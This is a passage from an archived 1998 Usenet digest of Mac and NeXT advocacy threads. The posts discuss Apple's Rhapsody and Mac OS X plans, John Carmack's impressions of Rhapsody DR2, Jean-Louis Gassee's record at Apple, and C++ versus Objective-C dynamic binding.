lawsuits. The proposition defeated in California around 2 years ago,
wouldn't that have made it easier for Californian investors to sue for
stock failures? That's by far the most common type of regulation,
usually advanced in the name of "consumer advocacy". Nevermind that the
average consumer ends up footing the bill for such frivolous claims.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 19:04:03 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6olir3$rsp$1@lwnws01.ne.highway1.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk> <not-1607981039320001@2-20.phx.psn.net>
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <6okmrf$10j$3@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > For what it's worth, I assure you Scott's sources are more
> > higher level than the intern toilet washer. You're probably
> > unaware of how close a community the NeXT group was; many of
> > our ex-NeXT net.friends in Apple have positions of seniority.
>
> I'm sure that is true, but it still marks him as a biased source
> of information on the subject at hand. What guarantee is there
> that he would tell us that Yellow Box is dead if he heard *that*
> from his sources?
I think this is silly. EVERYONE has certain biases. People that work for
the macrags, like macweek, have incentives to paint rosey pictures, and they
sure as hell do most of the time. Even people that try their hardest to be
super objective, realize, and know they fail because they have a certain
background that will always color their perceptions. Norr is far from holy.
And Scott in the grand scheme of all things isn't either. So what? Has
everyone here just now realized this? No. Everyone here knows people have
their biases. You learn to try and filter those out and take the golden
nuggets you seek; which again are colored by your own personal biases. It's
a big fat biased world and system; there's nothing particularly wrong with
that either.
Now, as for the specific question, why scott wouldn't lie about it. Because
if apple *were* going to kill YB, him saying they won't will do little to
nothing to change things; but will make him look pretty stupid. That's
plenty of incentive for most people.
In the world of media, there are no guarantees.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Ruthless disney!
Date: Thu, 16 Jul 1998 12:03:47 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1607981203490001@sdn-ar-001casbarp290.dialsprint.net>
The guy who made the sarcastic remark about internet explorer at macworld
just resigned. No doubt because Microsoft is a partner with disney
(marketing wise)
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: John Carmack's .plan
Date: Thu, 16 Jul 1998 12:07:33 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1607981207330001@sdn-ar-001casbarp290.dialsprint.net>
> Name: John Carmack
> Email: johnc@idsoftware.com
> Description: Programmer
> Project: Quake Arena
> Last Updated: 07/16/1998 02:57:05 (Central Standard Time)
> -------------------------------------------------------------------------
> ------ 7/15/98 -------
> I have spent the last two days working with
> Apple's Rhapsody DR2, and I like it a lot.
>
> I was dissapointed with the original DR1 release. It was very slow and
> seemed to have added the worst elements of the mac experience (who the
> hell came up with that windowshade minimizing?) while taking away some
> of the strengths of NEXTSTEP.
>
> Things are a whole lot better in the latest release. General speed is
> up, memory consumption is down, and the UI feels consistant and
> productive.
>
> Its still not as fast as windows, and probably never will be, but I
> think the tradeoffs are valid.
>
> There are so many things that are just fundamentally better in the
> rhapsody design than in windows: frameworks, the yellow box apis, fat
> binaries, buffered windows, strong multi user support, strong system /
> local seperation, netinfo, etc.
>
> Right now, I think WindowsNT is the best place to do graphics
> development work, but if the 3D acceleration issue was properly
> addressed on rhapsody, I think that I could be happy using it as my
> primary development platform.
>
> I ported the current Quake codebase to rhapsody to test out conix's beta
> OpenGL. The game isn't really playable with the software emulated
> OpenGL, but it functions properly, and it makes a fine dedicated server.
>
> We are going to try to stay on top of the portability a little better
> for QA. Quake 2 slid a bit because we did the development on NT instead
> of NEXTSTEP, and that made the irix port a lot more of a hassle than the
> original glquake port.
>
> I plan on using the rhapsody system as a dedicated server during
> development, and Brian will be using an Alpha-NT system for a lot of
> testing, which should give us pretty good coverage of the portability
> issues.
>
> I'm supposed to go out and have a bunch of meetings at apple next month
> to cover games, graphics, and hardware. Various parts of apple have
> scheduled meetings with me on three seperate occasions over the past
> couple years, but they have always been canceled for one reason or
> another (they laid off the people I was going to meet with once...).
>
> I have said some negative things about MacOs before, but my knowledge of
> the mac is five years old. There was certainly the possibility that
> things had improved since then, so I spent some time browsing mac
> documentation recently. I was pretty amused. A stack sniffer. Patching
> trap vectors. Cooperative multitasking. Application memory partitions.
> Heh.
>
> I'm scared of MacOS X. As far as I can tell, The basic plan is to take
> rhapsody and bolt all the MacOS APIs into the kernel. I understand that
> that may well be a sensible biz direction, but I fear it.
>
> In other operating system news, Be has glquake running hardware
> accelerated on their upcoming OpenGL driver architecture. I gave them
> access to the glquake and quake 2 codebases for development purposes,
> and I expect we will work out an agreement for distribution of the
> ports.
>
> Any X server vendors working on hardware accelerated OpenGL should get
> in touch with Zoid about interfacing and tuning with the Id OpenGL games
> on linux.
--
So many pedestrians, so little time.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 18:46:25 GMT
Organization: wazza?
Message-ID: <6olhq1$ed2$1@server.signat.org>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119>
<6ol3ov$722$2@server.signat.org> <not-1607981031580001@2-20.phx.psn.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: not@a.valid.email.add
In <not-1607981031580001@2-20.phx.psn.net> Michael M. Eilers wrote:
> I'm sorry, but to even a non-programmer such as myself (gasp!) the above
> is complete crap.
What part of "...and MacOS-X in general" was so confusing to you?
> There is absolutely no way that Yellow Box apps could
> ever run on Mac OS 8 or below, and not even on 8.5.
Clearly MacOS-X is not 8.x. This statement is meaningless.
That said, I did mean "every PPC ever built" not "every Mac ever built".
> of compiling some libraries--an app written for Yellow Box would be
> multithreaded, preemptively multitalking and writtne for a totally
> different memory-handling and VM routine.
That's right, the MacOS-X routines.
> As for Mac OS X running on every machine they've built: a pipe dream's
> pipe dream. A comment like that doesn't even pass the sanity test.
Passing your sanity test isn't high on my list.
The rather similar Rhapsody OS runs on a variety of machines, and the
technically even more similar MkLinux runs on a very wide selection of Macs.
Clearly MacOS-X on the same selection of machines is nothing more than doing
the work, there is no reason, even in theory, to suspect it could not work
(and plenty, including direct evidence, that it would).
Please stop making insulting comments like this when in the same breath
freely admiting you don't code - that pretty much means your opinion on the
technical details is of no worth.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dc9x8b.zd5oce1hpc3c9N@dialup184-3-49.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <tim-1607981112260001@jump-k56flex-1168.jumpnet.com>
Organization: pv
Date: Thu, 16 Jul 1998 19:32:23 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 21:32:23 MET DST
Tim Olson <tim@jumpnet.com> wrote:
> In article <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>,
> lars.farm@ite.mh.se (Lars Farm) wrote:
>
> | Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
> | > Michael Schuerig wrote:
> | > > C++ virtual functions are (usually) bound through fixed indexes into
> | > > function pointer arrays. Objective-C methods are bound through
> | > > associative lookup of selectors in tables.
> |
> | A v-table lookup is an associative lookup in a table of function
> | pointers using a function signature as key. A function signature is the
> | function name + the types of its arguments in order.
>
> There appear to be a few concepts getting mixed up here (yes, it can be
> confusing).
>
> What you are talking about isn't the vtable -- rather, it is how the C++
> compiler resolves overloaded functions at compile time. The vtable, on
> the other hand, is the runtime mechanism used to resolve a particular
> virtual function. To compare:
I am not confused, but perhaps unable to explain clearly. I am not
talking about overloading which is, as you say, an entirely compiletime
decision. The assumption is that the mechanisms for dynamic binding are
fundamentally different. They are not. Dynamic binding in C++ and ST/OC
is the same. There are other differences - strong/weak typing,
static/dynamic typing - but the dynamic binding is quite similar. Let me
try again:
struct Base { virtual void f() = 0; };
struct Derived : Base { virtual void f() { /*...*/ } };
struct Other : Base { virtual void f() { /*...*/ } };
...
void bar( Base& b ) { b.f(); }
...
Derived d;
Other o;
bar( d );
bar( o );
When and how is the decision made to call Derived::f or Other::f ?
At runtime, when the call is actually made. Conceptually through an
associative table lookup that in most implementations can be and is
optimized to a Minimal Perfect Hashtable using the function signature in
coded form (declaration order in class) as key - A.K.A. v-table.
The point is that this mechanism (the optimization - v-table) is not
required by the language as has been claimed. The externally observable
behaviour (correct function called) is required.
> C++
> Compile time:
[...]
> - virtual functions are assigned a fixed slot index in the vtable
Well, this is a common implementation, but not a language requirement.
For the time being, let's call this slot number a "selector".
> Runtime:
> - virtual functions are called by indexing the vtable by a
> fixed offset, then calling the actual function through the
> pointer stored there
>
>
> Smalltalk / Obj-C
> Compile time:
> - method calls are resolved to a unique selector, based upon
> the signature (method name + number [not type] of operands)
>
> Runtime:
> - selectors are dynamically looked up in the associative
> method dictionary to determine which method to invoke
> | What exactly is a selector?
> | Could you please describe the corresponding Obj C process in a little
> | more detail?
>
> A selector is a unique value (Symbol, address, whatever) that is derived
> from the method name and number of operands. It is "unique", in that all
> messages with the same name and number of operands use the exact same
> selector, even if they are separately compiled. One could possibly
> concatenate the method name and size as a string and use that as a
> selector, but that would involve a string compare (slow) during method
> lookup. Instead, a unique address value is used.
>
> A message send in Smalltalk or Obj-C involves associatively looking up the
> selector in the receiver's method dictionary. If it isn't found, it is
> looked up in the superclass's dictionary, etc. This dynamic lookup at
> runtime allows two different objects with no common base class to respond
> to a message, whereas in C++ they must share a base class, and that base
> class must have declared the particular function virtual.
This description can be divided into three different and important
concepts of which the first was the primary topic for my post. (1)
Dynamic binding (2) Type compatibility and (3) Time for type
compatibility test.
(1) Dynamic binding: Seems very similar to me. The C++ search could be
done exactly like that using "selectors". There are differences, but
they have to do with ...
(2) Type compatibility: ... one difference is that a C++ "selector" must
contain more information than the ST/OC selector. Information about
which class it belongs to and types for arguments. This information must
also be used. This has to do with a language requirement that behaviour
is associated with class and only compatible functions from that class
or classes derived from that class are allowed to be executed. Just as
you say but they are distinct, important and orthogonal concepts. This
is strong or weak typing.
(3) Time for type compatibility test: ... another difference is that
static languages require that the type compatibility test is done at
compile time. Dynamic languages perform the test at runtime. This is
static or dynamic typing.
Hope this was clearer. In short, C++ is certainly not ST/OC, but the
difference is NOT dynamic binding. Dynamic binding is the same in both.
The big difference is in strong[*] static typing vs weak dynamic typing.
- Lars
[*] C++ and "strong typing" is also an interesting topic to discuss, but
perhaps not now ;-)
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 12:48:48 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981248480001@sf-pm5-16-80.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com> <6oj92v$6d9$1@news.spacelab.net>
In article <6oj92v$6d9$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >Charles W. Swiger wrote:
> [ ... ]
> >But Chuck, I have to point out that this is not about advocating one
> >thing or another. Everybody here wants Yellow Box.
>
> Everyone? The former NeXT people certainly do, and many of the Mac
> developers who have been exposed to it have had very positive reactions.
> Other people, including more traditional Mac developers, don't seem to care
> one way or the other...so long as what they see as "the real MacOS" doesn't
> change much.
>
> That's fine-- their preference, their decision.
Actually, from a users point of view it shouldn't make any difference
HOW the app was developed (I.E. using traditional Mac programming
methodology or using Yellow Box), as long as the app runs like a Mac
app. To me, Yellow Box's main value is as a cross platform programming
environment. Write once, deploy many times. I'm sure a Windows user
wouldn't care that his new copy of TiFFany was written as a Yellow-Box
app as long as it looked and worked like the rest of his Windows apps,
which it will when running on Windows.
George Graves
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: John Carmack's .plan
Date: Thu, 16 Jul 1998 15:47:48 -0400
Organization: http://www.judas-priest.com
Message-ID: <6ollf2$5tv@bgtnsc03.worldnet.att.net>
References: <macghod-1607981207330001@sdn-ar-001casbarp290.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve Sullivan wrote:
>
> > Name: John Carmack
> > Email: johnc@idsoftware.com
> > Description: Programmer
> > Project: Quake Arena
> > Last Updated: 07/16/1998 02:57:05 (Central Standard Time)
> > -------------------------------------------------------------------------
> > ------ 7/15/98 -------
> > I have spent the last two days working with
> > Apple's Rhapsody DR2, and I like it a lot.
> >
> > I was dissapointed with the original DR1 release. It was very slow and
> > seemed to have added the worst elements of the mac experience (who the
> > hell came up with that windowshade minimizing?) while taking away some
> > of the strengths of NEXTSTEP.
> >
> > Things are a whole lot better in the latest release. General speed is
> > up, memory consumption is down, and the UI feels consistant and
> > productive.
> >
> > Its still not as fast as windows, and probably never will be, but I
> > think the tradeoffs are valid.
> >
> > There are so many things that are just fundamentally better in the
> > rhapsody design than in windows: frameworks, the yellow box apis, fat
> > binaries, buffered windows, strong multi user support, strong system /
> > local seperation, netinfo, etc.
> >
> > Right now, I think WindowsNT is the best place to do graphics
> > development work, but if the 3D acceleration issue was properly
> > addressed on rhapsody, I think that I could be happy using it as my
> > primary development platform.
> >
> > I ported the current Quake codebase to rhapsody to test out conix's beta
> > OpenGL. The game isn't really playable with the software emulated
> > OpenGL, but it functions properly, and it makes a fine dedicated server.
> >
> > We are going to try to stay on top of the portability a little better
> > for QA. Quake 2 slid a bit because we did the development on NT instead
> > of NEXTSTEP, and that made the irix port a lot more of a hassle than the
> > original glquake port.
> >
> > I plan on using the rhapsody system as a dedicated server during
> > development, and Brian will be using an Alpha-NT system for a lot of
> > testing, which should give us pretty good coverage of the portability
> > issues.
> >
> > I'm supposed to go out and have a bunch of meetings at apple next month
> > to cover games, graphics, and hardware. Various parts of apple have
> > scheduled meetings with me on three seperate occasions over the past
> > couple years, but they have always been canceled for one reason or
> > another (they laid off the people I was going to meet with once...).
> >
> > I have said some negative things about MacOs before, but my knowledge of
> > the mac is five years old. There was certainly the possibility that
> > things had improved since then, so I spent some time browsing mac
> > documentation recently. I was pretty amused. A stack sniffer. Patching
> > trap vectors. Cooperative multitasking. Application memory partitions.
> > Heh.
> >
> > I'm scared of MacOS X. As far as I can tell, The basic plan is to take
> > rhapsody and bolt all the MacOS APIs into the kernel. I understand that
> > that may well be a sensible biz direction, but I fear it.
> >
> > In other operating system news, Be has glquake running hardware
> > accelerated on their upcoming OpenGL driver architecture. I gave them
> > access to the glquake and quake 2 codebases for development purposes,
> > and I expect we will work out an agreement for distribution of the
> > ports.
> >
> > Any X server vendors working on hardware accelerated OpenGL should get
> > in touch with Zoid about interfacing and tuning with the Id OpenGL games
> > on linux.
>
> --
> So many pedestrians, so little time.
Well, this looks at least a BIT promising. Let's just hope that Apple
keeps their meetings on schedule and makes Carmack some offers he will
find hard to refuse. This dude has been responsible for so many gaming
$$$ on the PC and a bit on the Mac (at least he let MacSoft port Quake)
that Apple would have to be **stupid** not to make him a major partner.
If Apple is serious about making major inroads into the consumer market,
this dude can help a LOT.
-DC
From: drooling.idiot.nospam@euronet.be (Little Piggy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 15:11:03 GMT
Organization: EuroNet Internet
Message-ID: <35ae1722.9194881@news.euronet.be>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
>John Jensen <jjens@primenet.com> wrote:
>> You're saying JLG has failed because he doesn't rule the world. I'd ask
>> who else has done as well.
>
>I'm not saying that. OTOH, most of the big boys today started out rather
>modestly. Dell, & compaq had very humble beginnings. Apple and microsoft
>too.
You must be joking... Dunno about Dell and Compaq but Apple and MS
started when the market was WIDE open. Are u kidding trying to compare
Be and those two companies?
--
Little Piggy
Who is General Failure and why is he reading my hard disk?
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 16 Jul 98 19:48:01 GMT
Organization: QMS
Message-ID: <6ollab$qo3$1@news01.deltanet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu>
In article <6ol3nq$14g$1@vixen.cso.uiuc.edu>, stwillis@ews.uiuc.edu (willis sean timothy) wrote:
>Joshua T. McKee (Josh.McKee@cbns.com) wrote:
>: No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody
>: 1.0 will run on pre-G3 Macs, then it appears that Apple isn't
>:living up to it's promise.
> Just a question to pose: Let's say a few years back someone decided
> to buy a '386 machine that was pretty standard for it's time. said
> person was going to run Win 3.1 on it, because that was the most
> widely supported graphical OS at the time. Later, in the fall of
> '95, they decided to upgrade to Win 95, but found that they needed
> to upgrade hardware as well. So they decided to purchase a 486
> 66MHz machine, kinda low end but with a good 8 or 16 megs of
> RAM, it wasn't too bad.
I do the MIS work here, and must challenge this timeline. We had
a 386 in active use until last year, and a 486 in active use here
until this January. The 386 was purchased quite some years ago
(remember - the 486 was new and hot in summer of _90_) while the 486
boxes were purchased as recently as 92. When I started here in
January of 93, all new purchases were P60s, moving to P90s as they
became affordable.
The 386 was running 3.1, and was used as a tester machine for our 16
bit product, until we decided we no longer needed such a product.
The 486 and the various pentia were running Windows 95, usually with
a RAM upgrade, and an occasional disc upgrade, but that was about
the only change. A 486 with 16M is a usable machine for certain
tasks. Not many, mind, but certain ones. (We can still run Borland
C++ on those 486 boxes, if we had to, but a 400 Mhz Pentium is much
batter.)
>Now that Win 98 is out (and this person really wants a stable
>system at this point in his/her life), they have chosen to upgrade
>yet again, only three years after their last hardware purchase. They
>plan on purchasing Win NT 5.0 when it comes out. Did they have to
>upgrade? Of course not. Did they choose to? Why yes they did. Will
>their hardware be supported in 5.0? Your guess is as good as mine.
On the other hand, NT has been pretty good about machine support.
We shall see what tomorrow brings, but the real question becomes
"given that a user has decided to buy a new OS upgrade, how many
changes to thier hardware will be needed for it to work roughly the
same as it did before the upgrade?"
An important point here is that these machines were not just three
years old - they were 5+. It might not be _fun_ to run on those
machines, but it could be done for certain purposes. Apple's new
plan will obsolete machines sold under Apple approval until last year.
As I have said before, this might be a good business decision, but
that has to be balanced against the annoyance of people whose
machines are less than two years old. In many cases, the hardware is
capable of running the new OS, but engineering and management
decisions make them unable to run the latest and greatest.
I did not complain when my SE/30 became unable to keep up, nor when
a friend's IIci went out. They had served their time (four years in
one case, five in another) and been passed on to new owners, who were
in the mood for new hand me down hardware anyway. This is the first
Apple OS upgrade that will kill machines less than two years old.
(Yes, I know they will still work. If they do not run new software,
then the benefits are diminished, and if they do run new software,
then developers might not see the benefits of the new OS that justify
recoding. It is not a trivial recode. It may be a short one, but not
trivial.)
Personally, I would target all of the PCI boxes internally, and tell
everyone outside that only G3 boxes would be supported. If at all
possible, qualify the odd machine here and there, and make sure people
know about it as they come up. Then, while you will have users of old
machines annoyed with you during the prep phase, you might win them
back when you ship.
After all, if the consumer's machine is only a year old, they are not
going to want to buy a new machine anyway. You have a window to
make their old machine work before they become dead set against
Apple, which convinces them to buy Apple when upgrade time rolls
around.
Further, if Apple releases a driver development kit, then developers
can hack around some of the problems on their own. Once the
problems have been identified, an Apple effort to officially support
such a machine becomes a lot easier. No sane company will depend
on PD drivers, but they can be a decent stopgap until the machines
are either supported, or old enough that it is just not relevant.
> Cheesy Latin, but it's true: Caveat Emptor. (sp??)
Yeppers. As always, Apple has to make a sane decision about who
to offend, and who to support. I feel they should devote enough
resoruces to supporting all PCI Apple and clone machines, but I do
not have the information needed to know whether this is an easy or a
hard task.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 13:04:56 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981304560001@sf-pm5-16-80.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu>
In article <6oj5a0$goe$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> George Graves (gmgraves@slip.net) wrote:
>
> : management, past and present and point fingers (If I had to pick one
> : Apple personality upon which to pin the majority of its resultant
> : woes, that person would be Jean Louis Gassee. His tenure at Apple
> : is proabably the most responsible for Apple's poor marketshare today.)
>
> This is I think the second time I have seen Gassee criticised as
> chiefly responsible for Apple's more idiotic decisions. Lacking
> any knowledge of Gassee's tenure at the company, I can't judge the
> statement. What's the story? What did he do?
Apple has a unique corporate culture. The CEO has very little real
power. Mostly Apple is run by "consensus", you know, like a Soviet.
Gassee was a salesman when he started at Apple, and was made VP
sales. He was eventually given the entire R&D and worldwide sales
responsibilities. He was deadset against cloning (1995-1989).
Everytime the subject came up in a meeting, no matter how gung-ho
for the idea the rest of the company was, he would shout it down.
No consensus, no cloning. He is also responsible for one of the biggest
engineering blunders in Apple's history: The Aquarius Project. In the
late '80's Gassee convinced Scully that Apple should be designing
and making THEIR OWN RISC PROCESSORS. Gassee knew nothing about
semiconductors, less about microprocessors, and Scully knew less
than he did about either (Pepsi salesman). Anyone with an ounce of
engineering acumen knows that designing a microprocessor is THE
most difficult of all semiconductor engineering projects. Gassee
didn't and convinced Scully to let him piss away hundreds of millions
of dollars trying. Needless to say, that eventually, the plug was
pulled before the entire company went down that particular drain,
but it was a near thing. Apple never came within a country mile
of getting a workable processor out of Aquarius.
Gassee is also the man behind the True-Type debacle. This little
foray into personalities almost cost Apple the support of Adobe.
The man is the very definition of "loose cannon".
George Graves
>
> My interest in JLG is more than academic of course, because Gassee
> after all now heads up Be, in whom I've invested a certain amount of
> loyalty and time. If Gassee fucked up before I'd like to know how,
> just in case he does it again :)
>
> -tomlinson
> --
> Ernest S. Tomlinson - San Diego State University
>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Mach Kernels, MkLinux, and Mac OS X
Date: Thu, 16 Jul 1998 15:07:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
For quite a while, MkLinux which is Linux hosted on a Mach 3.0 kernel has
been running on PowerMac hardware.
Apple is working on Rhapsody which is largely a port of OpenStep for Mach
and is adding various enhancements. This is based on a Mach "2.5" kernel.
Mac OS X is supposed to succeed Rhapsody and is supposed to be based on a
Mach 3.0 kernel.
Apple has said that Mac OS X will only support PowerMac G3s and future
PowerMacs. MkLinux already runs right now on a wide variety of PowerMacs
(all the NuBus PowerMacs, a lot of 603e based Performas, the first
generation PCI PowerMacs, and possibly PowerMac G3s).
Is there any particularly good reason why Apple should decide to ignore
the MkLinux kernel and write a new one with limited hardware support?
What is the rationale for doing this?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 13:12:59 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com>
In article <6ojoum$tvm$1@nnrp1.dejanews.com>, xmac@my-dejanews.com wrote:
> In article <B1D27F61-1F256@206.165.43.178>,
> "Lawson English" <english@primenet.com> wrote:
> > tomlinson <etomlins@rohan.sdsu.edu> said:
> >
> > >This is I think the second time I have seen Gassee criticised as
> > >chiefly responsible for Apple's more idiotic decisions. Lacking
> > >any knowledge of Gassee's tenure at the company, I can't judge the
> > >statement. What's the story? What did he do?
> > >
> > >My interest in JLG is more than academic of course, because Gassee
> > >after all now heads up Be, in whom I've invested a certain amount of
> > >loyalty and time. If Gassee fucked up before I'd like to know how,
> > >just in case he does it again :)
> >
> > I've heard that he was the one that convinced Jobs NOT to license the Mac
> > to tothers.
>
> This is true -AFAIK.
> >
> > OTOH, his license plate used to read OPENMAC and he was the NuBus slot
> > advocate, I believe.
>
> I think OpenMac may just refer to the MacII line which he was heavily involved
> with.
Yeah. The Mac II was designed for an eastern Workstation company called Apollo
to sell as as a High-End workstation running Mac OS. It was to be the first
foray into cloning. The papers were all but signed, the Apollo people were at
the Boston Airport on their way to Cupertino, when their advocate at Apple, a
guy named Chuck Berger, had them paged and told them to go home. Gassee had
convinced Scully (who, as usual, was clueless) not to go through with the
deal at the last moment. Since Apple was making the motherboards for Apollo,
they decided to release the computer themselves as the MacII. Chaulk up another
one for Jean-Louis!
George Graves
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 16 Jul 1998 20:05:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6olmdj$6ee@newsb.netnews.att.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com>
Originator: gupta@tlctest
Scott Ellsworth <scott@eviews.com> wrote:
>January of 93, all new purchases were P60s, moving to P90s as they
>became affordable.
I think the first Pentium systems became available in May 93.
